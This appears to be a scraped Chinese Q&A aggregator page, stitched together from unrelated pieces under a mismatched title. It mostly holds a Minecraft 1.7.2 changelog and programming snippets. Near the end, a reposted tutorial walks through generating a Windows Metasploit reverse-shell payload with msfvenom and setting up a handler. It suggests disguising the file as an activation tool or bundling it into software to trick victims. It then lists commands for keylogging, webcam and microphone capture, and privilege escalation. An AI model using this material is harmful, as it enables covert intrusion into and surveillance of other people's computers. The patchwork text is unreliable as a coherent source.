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我的世界1.7.2如何制造工具的最新相关信息

2023-06-27 12:57:59
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我不懂运营

1.7.2

常规

改进与更新

资源包

全面整改菜单

可以同时选择多个资源包。

如果资源包存在同样的内容,则最上方的内容会被使用。

可以自动混合不同资源包的内容,如一个声音包和、一个材质包。

服务器可以提供资源包

最大大小增加至50MB。

音效

你现在可以通过资源包添加新的音效。

资源包可以通过使用JSON添加,移除,补充,随机化,或给音效分组。

音效与音乐现在都保存在 .minecraft/assets/sounds 文件夹内。

音乐会跟随游戏暂停而暂停。

网络代码

完全重制

现在使用的是 Netty

大多数的通信包没有变化,握手和Ping的流程被重做。

包的头部包含了包长度的信息。

光效

修复了几个照明问题

减少了地形生成产生的“暗区”。[5]

修复火把在要塞和废弃矿井内的光照问题。[6][7]

雷暴时的亮度变成了7 (在此之前亮度和普通降雨一样是12但敌对生物会在亮度<7时生成)

云和天空会变得更暗

游戏选项

在操控设定中集成了一些选项,现在可以重新设定热键1-9、截图按键、电影特效切换(可以设定并移除了默认键)、视角切换和疾跑按钮(按下将进入疾跑状态,默认为左shift键)。

音乐与音效

现在开始可以将主音量、背景音乐、唱片机/音符盒、天气、方块、敌对生物、友善生物、玩家、环境的音量分开独立控制。

资源包菜单

将未使用与使用中的资源包分开显示——现在可以同时使用多个资源包,根据设定的优先度不同,优先使用上级资源包。

视频设置

能见度现在是能定为2-16个区块的滑动条;最大fps则是10-250、无限制的滑动条;Mipmapping可以被设定为1-4级或者不使用;各向异性过滤可以被设定为2、4、8、16或是不使用。

超级秘密选项

此按钮现在会应用各种不同的实验性着色器

目前可使用的着色器列表:反锯齿、去会聚、剪影、美术、饱和、铅笔、位元、翻转、荧光粉、斑点、快速近似抗锯齿、枕状扫描、斑点2、绿、边缘检测、模糊、倒置、摇晃、盘旋色、彩色电视

语言选栏

添加了"强制Unicode字体"选项,现在可以选择是否对文字强制使用Unicode字体。

物品栏

在创造模式里,装饰性方块的展示物品从玫瑰改成了牡丹

服务器列表

现在可以通过F5刷新列表

添加了服务器图标

在鼠标悬浮在玩家数量时会列出目前在线的玩家们

添加了对多行MOTD(介绍消息)的支持

记录

记录现在将通过Log4j 2完成

默认的记录位置将改为logs/latest.logs,古老的记录将在logs/<年>-<月>-<日>-1.lg.gz内存档,每次启动将增加最后一位数字

多亏了Log4j 2,记录保存的方式也有所改变了,如:html页面、数据库、仅包含错误、不记录

Minecraft领域

开始在内部准备购买支持

开始提供下载世界地图的选项

游戏内容

新内容

指令

/setidletimeout

会自动将挂机过久的玩家踢下线

仅限于多人游戏,仅能被服务器管理员使用

用法:/setidletimeout <<闲置时限(分钟)>

/tellraw

运用json语言来在聊天窗口中创造出"按钮"和格式化文本(加粗、倾斜、下划线等)

用法:/tellraw <玩家> <原json消息>

/summon

用于在游戏中生成任何实体,包括巨人,末影水晶,末影龙,和激活的TNT。

用法:/summon <实体名> [x] [y] [z] [数据标签]

/achievement

用于赐予玩家成就

用法:/achievement give <数据名> [玩家]

/setblock

用于创造,删除,或代替单个方块

用法:/setblock <x> <y> <z> <方块名> [数据值] [旧方块处理方式] [数据标签]

/testforblock

检测在指定位置的方块

用法:/testforblock <x> <y> <z> <方块名> [数据值] [数据标签]

/setworldspawn

设置所有玩家的出生点(即使是从未进入服务器的玩家或是不在线的玩家,但不会覆盖床的设置)

用法:/setworldspawn [x] [y] [z]

颗粒效果

钓鱼现在会产生颗粒效果

在有东西咬钩前会出现向你浮子移动的气泡。这看起来就像有鱼朝你的鱼钩游动一样。

掉落现在会产生颗粒效果

颗粒的大小取决于摔落的高度。

新的成就

种群恢复

喂小麦来繁殖出1头牛。

需要先完成"斗牛士"成就。

给你钻石!

向其他玩家或者可以捡起东西的僵尸扔钻石。

需要先完成"钻石!"成就。

探索的时光

发现所有的生物群系。

需要先完成 "结束了?" 成就。

开始了?

召唤凋灵。

需要贤完成"结束了。" 成就。

开始了。

杀死凋灵。

需要先完成"开始了?" 成就。

信标工程师

制造最高级的信标。

需要先完成"开始了?" 成就。

新的统计信息

骑马移动距离

钓到垃圾次数

钓到宝藏次数

生物统计

改进与变更

钓鱼

更改了钓鱼机制

除了鱼以外,钓鱼还可以钓到其他东西。

鱼: 共有四种,分别为生鱼、生鲑鱼、小丑鱼和河豚。

宝藏:共有七种,分别是附魔的钓鱼竿、附魔的弓、附魔书、命名牌、绊线钩、睡莲、鞍。

垃圾:共有十一种,分别是损坏的钓鱼竿、水瓶、腐肉、线、皮革、碗、木棍、靴子或损坏的靴子。

添加了钓鱼竿的附魔,能改变你钓鱼运气

诱饵 - 加快钓鱼的效率

海之眷顾 - 减少获得垃圾的几率

成就和统计[8]

现在将于记分板系统连在一起 - 添加了744个可用于追踪统计和成就的目标准则

每个世界/服务器[9]有其独立数值

成就界面现在可以使用鼠标滚轮放大或缩小了

成就现在只会显示已获得成就延伸后的5个成就

只有玩家接触过的物品、方块、和生物会出现在统计栏内

新的成就:种群恢复、探索的时光、开始了?、开始了、以及信标工程师

新的统计:骑马移动距离、钓到宝藏次数、和钓到垃圾次数

如果某个成就需要的5个前置成就未完成,那么这个成就就不会显示。 (比如”钻石!“成就在获得”获得木头“之前不会显示)。

如果你没有合成/放置/开采过某个方块,或者合成/使用过/耗尽耐久某种工具,或者杀死某种怪物或者被某种怪物杀死之前,它们的信息在统计信息中不会显示。

某个玩家在获得一项成就之后会在聊天频道发送信息;这个功能可以被关闭。

鼠标滑过成就可以显示成就的提示。

记分板

现在可以使用统计数据来创建目标,任何能被统计追踪的数据(包括成就)都能用于目标中。

因此每个世界/服务器的成就和统计都是独立的

指令

/give

现在可以给玩家拥有自定义名字,背景和附魔的物品。[10]

现在也能给予拥有自定义NBT标签的物品,比如可以获得特定玩家的头颅,或带有特殊习性的刷怪箱,

现在会在聊天窗口显示重命名的物品的名称并在鼠标悬在上方时显示其标签

用法:/give <玩家> <ID> [数量] [损害值] [数据标签]

/time set day

现在会将设置时间为1000而不是0

/time set night

现在会将设置时间为13000而不是12000

自定义的NBT标签可以通过命令添加

使用/give和/summon命令

示例:

/give @p 1 1 0 {display:{Lore:["Hi,","How are you?"],Name:"Nice Stone Block"},ench:[{id:1,lvl:10}]}

/summon Pig ~ ~ ~ {Saddle:1, CustomName:"Babe", CustomNameVisible:1}

/give @p 397 1 3 {SkullOwner:MHF_Pig}

NBT格式

List标签不再需要被命名

在输入错误格式(integer/short)时不再会导致崩溃

聊天系统

添加了可以在点击聊天信息时触发事件的方式,比如执行某个命令。

其他功能包括打开某个链接或者鼠标对着时显示物品的标签。

"截图保存至" 信息可以被点击来打开截图文件夹。

可以点击玩家的名字来发送私信。

添加/tellraw <玩家> <原json消息>指令来给玩家发送带有自定义功能的消息,发送者不会被显示。

语法示例:/tellraw @p {text:"Daytime? ",color:"green",extra:[{text:"Click here!",color:"blue",clickEvent:{action:"run_command",value:"/time set day"}},{text:" Nighttime? "},{text:"Click here!",color:"blue",clickEvent:{action:"run_command",value:"/time set night"}},{text:" Have fun!"}]}

移除了环绕在玩家身边的雾

雾现在只在可见区块的边缘存在

死亡界面

如果玩家在游戏中死亡并选择”返回标题画面“,一个对话框会弹出询问是否确定要退出,并且给你返回标题画面和重生继续游戏的选项。

边境之地

所有坐标超过 X/Z ±30,000,000 的部分都被视为固体方块。

这包括空气方块。

这在边缘创建了无形的墙。

因为所有的方块都被视为固体方块,所以如果玩家使用外部工具移动出了边界,那么玩家将不可在其中移动。

尽管如此,视角还是可以正常移动。这表示幽灵区块仍会生成,因为相机可以正常的穿过这些固体方块。

方块/物品IDs

现在可以使用它们的名字而不是数字。

以后会是唯一的选项。

这对插件API来说是必要的。

视觉效果

改变了F3+B的视觉效果。

方块的轮廓线现在是全黑色的而不是深灰色。

在室内天空将变暗。

下界传送门

可以设置不同的尺寸了,如果够大的话你甚至恶魂也可以通过。

现在不只是在门的下方点火可以开启传送门了,在门内的任何方块都可以。

传送门建造规格:大小在4x5到23x23之间,而且必须是矩形。

附魔

附魔台现在能给予所有物品耐久魔咒。

附魔台能给予附魔书多项附魔属性。

世界生成

新内容

树木

金合欢

生长在热带草原的弯曲的树木。

深色橡树

生长在黑森林里的大型矮树木

生物群系[11]

平顶山

由多种颜色的硬化粘土像沉积岩一样的层次结构组成

共有七种颜色,包括普通、橙色、红色、黄色、白色、淡灰色和棕色

地表和沙漠相似,但是由红沙而不是沙子组成

枯死的灌木会在这个生物群系里生成

偶尔枯萎的森林会在粘土山顶生成

这个生物群系内不会下雨

热带草原

金合欢

新的树木,树苗,和树叶种类

马可以在这个生物群系中生成

NPC村庄有可能在这个生物群系中生成

这个生物群系内不会下雨

有着非常平坦的高原,偶尔也会有高山

向日葵草原

和草原完全一样,但可以生成向日葵

黑森林

有深色的草和巨型蘑菇

有深色橡树;即使是白天树冠下也是相当黑暗和危险的

新的树木,树苗,和树叶种类

怪物很可能会在全天出没

在夜晚生成的怪物可以在白天存活

除蘑菇岛外这是第一个可以自然生成巨型蘑菇的生物群系

桦木森林

一个完全由桦树构成的森林

繁花森林

一个包含多种新花朵的森林变种,包括牡丹、橙色郁金香、白色郁金香、法兰西菊、玫瑰丛和绒球葱。

各种新花的分布十分密集。

针叶林

现在生成时不会带有雪了

以前的针叶林被改为冷针叶林

大型针叶林

这是一个十分稀有的生物群落

包含了2x2的云杉树

有泥土的变种,灰化土

现在只能通过精准采集魔咒采集

包含不允许草生长的泥土方块

苔石组成的"巨石"散落在此生物群系内

枯死的灌木、蘑菇、蕨会在这种生物群系中生成。

峭壁+

包含云杉树

海拔远远高于正常的峭壁

冰刺平原

包含由浮冰组成的看上去像颠倒的冰锥的巨型冰柱

这些冰柱最高可以达到y=120的高度

浮冰组成的湖分散在此生物群系内

深海

比普通的海要深10米左右,最大深度在y=30左右

生物群系变种/技术性生物群系

超过20种生物群系变种

“M” - 带有M变种的生物群系变种要比其他变种罕见得多

“峭壁M”、“针叶林M”、“黑森林M”、“丛林边缘M”、“桦木森林M”、“冷针叶林M”、“峭壁+M”、“热带草原M”、“热带高原M”、“沼泽M”、“丛林M”。“平顶山高原M”和“平顶山高原 FM”要比对应的生物群系的有更多的山丘

“沙漠M”与普通沙漠不同会有小水湖

“桦木森林M”会有更高的桦树

“热带草原M”会有无草泥土和可以生成超过云层并能延伸到220层的罕见山峦

高原—具有“高原”变种的生物群系变种与山丘生物群系相似,但是在顶端是平坦的

“热带高原”和“平顶山高原”都是高原

这些地形提升了大约30个方块并且有平整的顶部

“平顶山(岩柱)”——一种会像冰刺平原在沙地上生成粘土柱的罕见平顶山变种

“山丘”—更多技术性山丘生物群系被添加以对应新的生物群系

“桦木森林山丘”、“冷针叶林山丘”和“大型针叶林山丘”现在能被生成

“滩”—新的滩把这些生物群系从海洋或河流隔开。

“石滩”主要由石头构成,常常在峭壁生物群系和一个水体之间生成

“冻滩”是一个带有雪的沙滩

经常在一个寒冷的生物群系,如冰原和一个水体之间生成

世界类型

放大化

利用了整个世界的高度将地形延伸

几乎所有的生物群落都可以产生巨大的山脉并超过Y:200的高度

峭壁生物群系将频繁地达到Y:256的世界高度限制

沼泽和海洋生物群系不会被这种世界类型影响

会大量地消耗资源并需要强大的硬件支持

这里的峡谷可以到达基岩层

包含了大量在默认世界类型中极少或不可能出现的地形。

一些例子中包含了浮空岛,悬垂地形,巨大的水流或岩浆瀑布以及巨大的横断面。

针叶林生物群系会达到开始降雪的高度(大约为Y: 130)

改进与变更

生物群系

丛林

西瓜现在可以像南瓜一样成群地在丛林中找到

丛林生物群系变得更加罕见了

添加了丛林边缘,拥有更少的树,但会慢慢衔接到丛林的主体

从林树现在有树枝了

沼泽

草变得更绿了且颜色会浮动,这主要取决于生物群系的温度

在较浅的地方,海岸会被错落的睡莲和泥土方块所覆盖

平原

现在会生成三种新的花 - 茜草花,法兰西菊,和郁金香

高草丛也会在此生成

峭壁

雪会在高度超过95的地方生成

包含石头和泥土地

砂砾可以替代地表

接近海平面会产生平坦的山谷

可以生成至y=150,略微高于云层的高度(之前是y=124)

有更多高度的变化,同时也有平坦的部分,与之前峭壁被强制生成无尽高度的山峰的情况相反

海洋[12][13][14]

海洋变小了,并且在地图上占据更小的地方[11]

海床现在只存在沙砾,而不是沙子、泥土、和沙砾

砂砾滩

出现得更频繁

生物群系的分类

基于温度区分四种主要类别[11]

覆雪,寒冷,适中,干燥/温暖

生物群系的定位

生物群系会尝试避免存在于一个与它自身差异太大的生物群系的旁边[11]

生物群系的海拔

总体上海拔的变动变大了

大多数生物群系可以生成到y=100的高度

山丘技术性生物群系变得更高了

改进了温度系统

每个生物群系有个基础温度来决定它是否被雪覆盖,是否下雨或下雪,或者是否完全不会降水

基础温度在0.15或更低的生物群系会下雪而非雨

基础温度在1.5或者更高的生物群系不会下雨[来源请求]

生物群系被按照他们的温度分组并且会尝试生成于与它们温度相近的生物群系旁边

海拔每升高30个方块,温度会降低0.05

正因如此峭壁才会在高度是y=95生成雪,它的地面基础温度是0.2

奖励箱

奖励箱现在包含金合欢木

方块与物品

新内容

木头种类

金合欢木

银色的表皮和橙色的内部

组成金合欢,可在热带草原发现

深色橡木

比一般橡木更黑的变种

组成深色橡树,可在黑森林中发现

金合欢木板

表面为橙色

深色橡木木板

与普通橡木木板材质相同但颜色几乎为全黑

金合欢和深色橡树台阶

金合欢和深色橡树楼梯

树苗

金合欢树苗,可以在热带草原里找到

深色橡树树苗,可以在黑森林里找到

必须将4颗树苗放置在2x2的方格内才能生长,和大丛林树很像

2x2的云杉树苗现在能造出在大型针叶林中的大型云杉

树叶

金合欢树叶

深色橡树树叶

视觉上都和橡树树叶完全相同

河豚

回复Half Hunger.svg

如果吃了它,你会进入1分钟的中毒IV状态,和15秒的饥饿III和反胃II状态

用于酿造水肺药水

鲑鱼

能被烹饪和食用。

生的:回复Hunger.svg

熟的:回复Hunger.svgHunger.svgHunger.svg

小丑鱼

除了被食用和用来驯服豹猫外的用途未知

回复Half Hunger.svg。

浮冰

被破坏时不会像普通的冰一样变成水

不会融化

完全不透明,而不是像普通的冰一样半透明

灰化土

新的泥土变种

只能在大型针叶林生物群系发现

无草泥土

草不能在上面生长。

只能通过/give指令来获得

红沙

在平顶山生物群系生成

性质与沙子相似(能被熔炼成玻璃和用来制造TNT)

无法制成沙石

红色的,橙色的,白色的和粉红色的郁金香

能被分别制作成红色、橙色、淡灰色、和粉红色染料

兰花

可被制成淡蓝色染料

绒球葱

可被制成品红色染料

茜草花

可被制成淡灰色染料

滨菊

可被制成淡灰色染料

罂粟

取代了原来的玫瑰 - 玫瑰不再存在了

所有花现在可燃

所有的花现在会像草丛一样随机偏移至一边

两格高的花

对它们使用骨粉会使它们掉落一个能收集的花朵物品。因此,所有两格高的花都是可再生的

向日葵

通常会朝向东面

能被种植,和玫瑰和蒲公英不同

可被制成2份黄色染料

牡丹

可被制成2份粉红色染料

玫瑰丛

可被制成2份红色染料

丁香

可被制成2份品红色染料

两格高的草丛

高草丛

可通过对草丛使用骨粉造出

大型蕨

可通过对蕨使用骨粉造出

怪物蛋的新变种

包括苔石砖怪物蛋、裂石砖怪物蛋和錾制石砖怪物蛋

蠹虫进入苔石砖、裂石砖或錾制石砖后不再会变成普通石砖了

命令方块矿车

只能通过使用/give minecraft:command_block_minecart 或 /summon MinecartCommandBlock获得

通过使用激活铁轨来激活

在被充能时会每2个红石刻执行一次命令(全速通过一个激活铁轨会执行一次指令)

水肺药水

通过使用河豚和粗制药水酿造而成

能让你在不消耗氧气条的情况下在水下呼吸3分钟

药水的颜色是深蓝色的

染色玻璃

玻璃现在可以被染成所有16种颜色

在工作台内把一个染料摆放在8个普通玻璃中间,就可以得到8个相应颜色的染色玻璃

合成染色玻璃板的方法和普通玻璃板一样

合成能得到16个染色玻璃板,和普通玻璃一样

透过染色玻璃方块仍能看到水、下界传送门、和其他染色玻璃方块

它们放置在其上的方块颜色会向玻璃的颜色偏移

这包括在两种不同的颜色前后摆放的时候

改进与变更

木头

木头的顶部和底部现在有了不同的材质(橡木原木除外)

成书

现在可以像地图一样复制, 但它是使用书与笔而非空地图

可通过在合成格内放入更多书与笔来复制更多份成书

现在可以堆叠起来(可堆叠至16)

物品展示框

现在被击打时会掉落里面的物品,但如果没有物品的话则会掉落本身[15]

若展示的物品被重命名,则在近看时会显示物品名字

地图现在会占用整个方块并不再会显示玩家标记

测重压力板

现在会根据在其上方的任何实体输出讯号,任何实体的存在都会使讯号强度在1或以上

对于轻质测重压力板,每个实体会使讯号强度增加1

对于重质测重压力板,从1开始,每增加10个实体会使讯号强度增加1(例:11个实体时讯号强度为2)

甘蔗

颜色现在会受生物群系颜色所影响(与树叶、草和藤蔓相似)

打火石

合成配方现在是无形的

现在可以用于引爆爬行者

枯死的灌木

现在可放于硬化粘土、染色粘土和泥土之上

命令方块

现在会显示最近执行过的命令

将字数限制提升到了"几千个字符"

盔甲、弓、钓鱼竿和剑

现在能从附魔台获得耐久魔咒

技术性方块

移除了许多技术性方块物品

移除了上锁的箱子

地图

在物品展示框内的地图现在会占用整个方块表面,因此相邻的地图会连接得很自然

现在会显示彩色羊毛和染色粘土的颜色,这延伸了地图所能显示的颜色范围

每种不同的方块都会在地图上有不同的着色

冰、传送门和水

现在能透过彼此看到对方

如果水与冰相邻,玩家无法透过冰看到水,但能透过水看到冰

如果水与冰不相邻,则透过冰也能看到水

现在在水下无法看到水面了

铁栏杆和玻璃板

现在会相互连接

炼药锅

炼药锅现在能消耗一层水来灭掉实体身上的火

不再会在搁浅时造成摔落伤害

稍微改进了船被睡莲破坏的机制

船已经恢复到以前的WASD控制

请注意,A和D键只能在W键被按下时使用

玩家现在可以在船上使用“疾跑”,这可以加快一点速度

生物

改进与更改

铁傀儡

现在会掉落罂粟而不是玫瑰

爬行者

现在能被打火石引爆

僵尸

减少了僵尸产生的延迟

小僵尸和小僵尸猪人

可以通过1米高的空间,但它们的碰撞箱仍是成年的大小

女巫

水肺药水被添加到稀有掉落物列表中

现在会在被困在水下时饮用水肺药水

被添加到低亮度生成的敌对生物列表中,它们现在会在任何亮度低于7的地方生成,包括每个生物群系的夜晚和洞穴中

它们通常成双地生成

它们的生成几率与末影人差不多

沼泽小屋现在会连带女巫一起生成

以往是先生成一间空小屋,再生成女巫

希望能解决您的问题。

gitcloud

什么意思?

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2023-06-27 09:31:121

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idle是什么

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exceeded maximum idle time,please connect again 数据库连接池怎么修改

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2023-06-27 09:32:202

软引用的回收策略

Java中有四种引用类型,强,软,弱,虚.本文主要讲解软引用的回收机制.需要读者对软引用有基本了解. 问题1容易理解,在保证系统能够正常运行的前提下,没必要全都回收. 举个例子, 堆内存100MB,软引用占了80MB,只剩20MB可用内存,触发了垃圾回收, 那么回收时没必要把80MB软引用都回收了,回收一部分,比如20MB,系统就有40MB可用内存,足以正常运行. 下面来详述问题2提到的软引用的回收策略 有两个关键属性 从这两个属性可得从上次gc起某个软引用未被访问的时间 idletime (可能为负值) 同时我们有软引用空闲保留时间(全局) idlelivetime 每MB空闲内存保留时间对应JVM参数 -XX:SoftRefLRUPolicyMSPerMB 当需要对软引用进行回收时,idletime大于 idlelivetime的软引用会被回收. 以上是软引用回收策略的大致描述,JVM还会有更精细的控制和优化,所以很难根据上面的公式进行精准演示,下面就以一种简化的方式演示软引用回收的LRU. https://www.jianshu.com/p/f0da6c1af815
2023-06-27 09:32:271

idle timeout 是什么

selective suspend idle timeout 选择性挂起空闲超时 选择性暂停空闲超时 双语例句 1 If the threshold specified is zero second, then connections never timesout.The default idle timeout is one hour. 如果开端指定为零秒,那么连接就永不中断。默认的空闲客户程序为一小时。 2 Unfortunately the simple chat example does not implement this semanticbecause the websocket protocol allows for an idle timeout of theconnection. 不幸的是,即便是这么简单的用例都无法通过WebSocket实现,因为在该协议中,连接有一个闲置超时。
2023-06-27 09:32:461

翻译:空闲的时候我喜欢购物,唱歌,打台球

I prefer shopping, singing and playing snooker in my spare time.
2023-06-27 09:32:534

如何在 Go 语言中使用 Redis 连接池

1.在创建连接池之后,起一个 go routine,每隔一段 idleTime 发送一个 PING 到 Redis server。其中,idleTime 略小于 Redis server 的 timeout 配置。2.连接池初始化部分代码如下:p, err := pool.New("tcp", u.Host, concurrency) errHndlr(err) go func() { for { p.Cmd("PING") time.Sleep(idelTime * time.Second) } }() 3.使用 redis 传输数据部分代码如下:func redisDo(p *pool.Pool, cmd string, args ...interface{}) (reply *redis.Resp, err error) { reply = p.Cmd(cmd, args...) if err = reply.Err; err != nil { if err != io.EOF { Fatal.Println("redis", cmd, args, "err is", err) } } return } 4.其中,Radix.v2 连接池内部进行了连接池内连接的获取和放回,代码如下:// Cmd automatically gets one client from the pool, executes the given command // (returning its result), and puts the client back in the pool func (p *Pool) Cmd(cmd string, args ...interface{}) *redis.Resp { c, err := p.Get() if err != nil { return redis.NewResp(err) } defer p.Put(c) return c.Cmd(cmd, args...) } 这样,就有了系统 keep alive 的机制,不会出现 time out 的连接了,从 redis 连接池里面取出的连接都是可用的连接了。看似简单的代码,却完美的解决了连接池里面超时连接的问题。同时,就算 Redis server 重启等情况,也能保证连接自动重连。
2023-06-27 09:33:011

Windows的计划任务启动程序参数怎么设置

身份运行 这个功能。原因是:为了系统安全,很多程序不让以administrator账户运行的,但这个又导致很多程序因为无法获得相关权限而无法运行,于是就出现了所谓的“兼容性问题”,一般右键以管理员身份运行后,本来不能运行的程序就能运行了针对你的问题的方法:很简单,直接开启administrator账户,使用这个账户就行了~~在administrator账户下本身就是超级管理员权限,就无所谓点右键“以管理员身份运行”了。具体方法:计算机====右键=====管理=====用户组====用户====双击administrator账户,去掉禁用此账户的小勾,然后把你当前用的账户禁用掉,就ok了~~
2023-06-27 09:33:092

利用wmic获取cpu使用率,该怎么解决

利用wmic获取cpu使用率看到一个程序通过wmic process get Caption,KernelModeTime,UserModeTime命令来获取所有进程的KernelModeTime和UserModeTime。算出所有进程的 (KernelModeTime总和 + UserModeTime总和),作为allPorcessTime1;算出System Idle Process进程和System进程的 (KernelModeTime总和 + UserModeTime总和),作为systemProcessTime1;隔几秒后,再次调用wmic命令,再次获取allPorcessTime2和systemProcessTime2;然后,busyTime = allPorcessTime2 - allPorcessTime1;idleTime = systemProcessTime2 - systemProcessTime1;cpu使用率 = 100 * (busyTime) / (busyTime + idleTime);
2023-06-27 09:33:411

mysql maxIdleTime 可以设置1秒吗?

maxIdleTime 1秒太小了,建议60maxStatements设为100,maxStatementsPerConnection可以不设当然这是一般设置,具体还是要根据你的系统数据访问情况进行优化的
2023-06-27 09:33:491

模拟飞机场调度问题的程序

你就是给500分都没人给你写...
2023-06-27 09:33:583

oracle 11g resource_limit 未启用 idle_time 生效吗

需要resource_limit=true 才生效
2023-06-27 09:34:051

java如何获取cpu的一二三级缓存信息

2023-06-27 09:34:122

Kali利用msf渗透Windows电脑(超详细)

前言 最近整理了一些 奇安信&华为&深信服大佬 的课件资料+大厂面试课题,想要的可以私信自取, 无偿赠送 给粉丝朋友~ msfvenom a Metasploit standalone payload generator,Also a replacement for msfpayload and msfencode.是用来生成后门的软件。 MSFvenom是Msfpayload和Msfencode的组合,将这两个工具都放在一个Framework实例中。自2015年6月8日起,msfvenom替换了msfpayload和msfencode。 演示环境 使用Kali 2021.3进行演示操作 目标靶机: Win10专业版 软件:msfvenom、msfconsole(Kali系统内置) 1.进入管理员模式 命令: sudo su 解释: 不在管理员模式下运行可能会有权限不够的提示,为了避免命令执行失败,在管理员下运行以下命令 命令: msfvenom -p windows/meterpreter/reverse_tcp LHOST=本地ip> LPORT=本地端口号> –f exe –o 文件名>.exe 解释: 本地ip写自己Kali的IP地址,用ifconfig就能查看自己Kali的IP地址 本地端口自己随便设置一个没有被占用的端口号,如果端口号被占用那么文件会生成失败,换一个端口号就性 文件名可以随便写自己喜欢的名字,比如写Win10激活工具,可能更容易让目标主机上钩 当然MSF也可以用来渗透手机、mac、Linux等 接下来运行命令生成文件 默认生成的文件在根目录下 把刚才生成的文件放到目标靶机Win10系统中 命令: msfconsole (1)命令: use exploit/multi/handler(选择模块) (2)命令: set payload windows/meterpreter/reverse_tcp(选择攻击模块) (3)命令: set LhOST 192.168.32.1(填写自己主机的IP地址) (4)命令: set lport 1111(填写刚才生成文件时的端口号) (5)命令: show options(查看设置参数) (6)命令: exploit -z -j(后台执行) 我们这里也可以把这个程序伪装一下,把他的图标改一下,或者把它捆绑在某些软件上面,当用户打开就自动安装到对方电脑上面 (1)命令: sessions (查看上钩的用户) (2)命令: sessions -i 1 (选择需要攻击的用户,这里选择第 1 个 命令: run vnc -i cmd指令: cat 读取文件内容到屏幕 cd 更改目录 checksum 检索文件的校验和 cp 将源复制到目标 del 删除指定文件 dir 列出文件(ls 的别名) 下载 下载文件或目录 编辑 编辑文件 getlwd 打印本地工作目录 getwd 打印工作目录 lcd 更改本地工作目录 lls 列出本地文件 lpwd 打印本地工作目录 ls 列出文件 mkdir 创建目录 mv 将源移动到目标 pwd 打印工作目录 rm 删除指定文件 rmdir 删除目录 search 搜索文件 show_mount 列出所有挂载点/逻辑驱动器 upload 上传文件或目录 pkill 按名称终止进程 keyscan_start 开始捕获击键(开始键盘记录) keyscan_dump 转储按键缓冲(下载键盘记录) keyscan_stop 停止捕获击键(停止键盘记录) record_mic X秒从默认的麦克风record_mic音频记录(音频录制) webcam_chat 开始视频聊天(视频,对方会有弹窗) webcam_list 单摄像头(查看摄像头列表) webcam_snap 采取快照从指定的摄像头(摄像头拍摄一张照片) webcam_stream 播放视频流从指定的摄像头(开启摄像头监控) enumdesktops 列出所有可访问的桌面和窗口站(窗体列表) getdesktop 得到当前的Meterpreter桌面 reboot 重新启动远程计算机 shutdown 关闭远程计算机 shell 放入系统命令 shell enumdesktops 列出所有可访问的桌面和窗口站 getdesktop 获取当前的meterpreter桌面 idletime 返回远程用户空闲的秒数 keyboard_send 发送击键 keyevent 发送按键事件 keyscan_dump 转储击键缓冲区 keyscan_start 开始捕获击键 keyscan_stop 停止捕获击键 mouse 发送鼠标事件 screenshare 实时观看远程用户桌面 screenshot 抓取交互式桌面的屏幕截图 setdesktop 更改 Meterpreters 当前桌面 uictl 控制一些用户界面组件 record_mic 从默认麦克风录制音频 X 秒 webcam_chat 开始视频聊天 webcam_list 列出网络摄像头 webcam_snap 从指定的网络摄像头拍摄快照 webcam_stream 播放来自指定网络摄像头的视频流 play 在目标系统上播放波形音频文件 (.wav) getsystem 尝试将您的权限提升到本地系统的权限 execute -f notepad 打开记事本 ———————————————— 原文链接:https://blog.csdn.net/RFZ_322/article/details/123367668
2023-06-27 09:34:311

用VC怎么获取CPU使用率

他们机器的使用率低,可能是他们机器的配置高吧。cpu的使用率在刚打开程序的时候高是正常的。50%并不会影响运行,只要不是100%就没什么问题。
2023-06-27 09:34:475

VC++设计图形显示CPU内存利用率程序

1)、本程序分两种情况来获取CPU的利用率,NT下利用ntdll.dll中没有公开的API: NtQuerySystemInformation, 9x下利用注册表来获取CPU的利用率code:NTtypedef LONG (WINAPI *PROCNTQSI)(UINT,PVOID,ULONG,PULONG);PROCNTQSI NtQuerySystemInformation;NtQuerySystemInformation = (PROCNTQSI)GetProcAddress(GetModuleHandle("ntdll"),"NtQuerySystemInformation");if (!NtQuerySystemInformation){return;}// get number of processors in the systemstatus = NtQuerySystemInformation(SystemBasicInformation,SysBaseInfo,sizeof(SysBaseInfo),NULL);if (status != NO_ERROR){return;}status = NtQuerySystemInformation(SystemTimeInformation,SysTimeInfo,sizeof(SysTimeInfo),0);if (status!=NO_ERROR){return;}// get new CPU""s idle timestatus = NtQuerySystemInformation(SystemPerformanceInformation,SysPerfInfo,sizeof(SysPerfInfo),NULL);if (status != NO_ERROR){return;}// if it""s a first call - skip itif (m_liOldIdleTime.QuadPart != 0){// CurrentValue = NewValue - OldValuedbIdleTime = Li2Double(SysPerfInfo.liIdleTime) - Li2Double(m_liOldIdleTime);dbSystemTime = Li2Double(SysTimeInfo.liKeSystemTime) - Li2Double(m_liOldSystemTime);// CurrentCpuIdle = IdleTime / SystemTimedbIdleTime = dbIdleTime / dbSystemTime;// CurrentCpuUsage% = 100 - (CurrentCpuIdle * 100) / NumberOfProcessorsdbIdleTime = 100.0 - dbIdleTime * 100.0 / (double)SysBaseInfo.bKeNumberProcessors + 0.5;m_fNewUsges = (UINT)dbIdleTime;}2)、 通过 GlobalMemoryStatus来获取内存的使用情况code:MEMORYSTATUS MemStat;MemStat.dwLength = sizeof(MEMORYSTATUS);GlobalMemoryStatus(MemStat);m_ulNewUsges = MemStat.dwMemoryLoad;3)、 程序中封装了两个类 CcpuUsgesCtl和CmemUsgesCtl,使用这两这个类可以实现CPU,内存利用率的定时读取,并以图形化的形式显示出来使用有两种使用方法,不过要先把这个类的文件 add to project1).声明一个这两类的对象,并用create来动态生成such as:CMemUsgesCtl m_ MyMemCtrl;CCpuUsgesCtl m_ MyCpuCtrl;if(!m_MyCpuCtrl.Create(WS_CHILD | WS_VISIBLE, rect, this, IDC_CPUCTL)){TRACE0("Create m_MyCtrl Failed!");return 0;}rect.left = rect.right + 20;rect.right += lpCreateStruct-cx / 2;if(!m_MyMemCtrl.Create(WS_CHILD | WS_VISIBLE,rect, this, IDC_MEMCTL)){TRACE0("Create m_MyCtrl Failed!");return 0;}2) 插入一个static控件,并从类向导中为其生成control形变量,最后将变量的类型换为我们就行了
2023-06-27 09:35:011

我的世界游戏中,MC玩家必须会的输入“指令”有哪些?

